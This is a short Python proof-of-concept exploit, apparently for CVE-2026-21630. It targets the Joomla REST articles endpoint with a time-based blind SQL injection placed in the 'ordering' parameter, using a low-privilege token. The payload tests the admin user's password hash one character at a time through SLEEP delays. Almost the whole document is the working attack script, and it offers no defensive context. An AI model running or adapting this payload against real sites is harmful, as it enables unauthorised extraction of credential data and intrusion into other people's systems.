CVE-2026-21630

import requests # Exploit Title: Joomla Core 2026-21630 SQL Injection PoC # Date: 2026-04-01 # Vulnerable Endpoint: /api/index.php/v1/articles target_url = "http://target-site.com/api/index.php/v1/articles" # Attacker needs a valid low-privilege token (PR:L) auth_token = "Bearer LOW_PRIVILEGE_TOKEN_HERE" headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Malicious payload for order clause # Using conditional sleep to verify injection payload = { "filter": { "search": "" }, "list": { # The injection happens in the ordering parameter "ordering": "(SELECT CASE WHEN (SELECT SUBSTRING((SELECT password FROM #__users WHERE id=1),1,1))='a' THEN SLEEP(5) ELSE 1 END)" } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection successful! Response delayed.") else: print("[-] Injection failed or condition not met.") except Exception as e: print(f"Error: {e}")

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